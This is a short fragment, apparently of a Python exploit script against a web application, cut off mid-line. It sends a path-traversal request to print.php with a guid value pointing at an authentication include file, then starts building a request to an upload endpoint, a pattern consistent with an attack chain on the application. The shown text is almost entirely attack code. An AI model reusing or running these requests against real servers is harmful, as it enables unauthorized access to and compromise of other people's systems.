url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
url=target+"/general/data_center/utils/upload.php?action=upload&fil...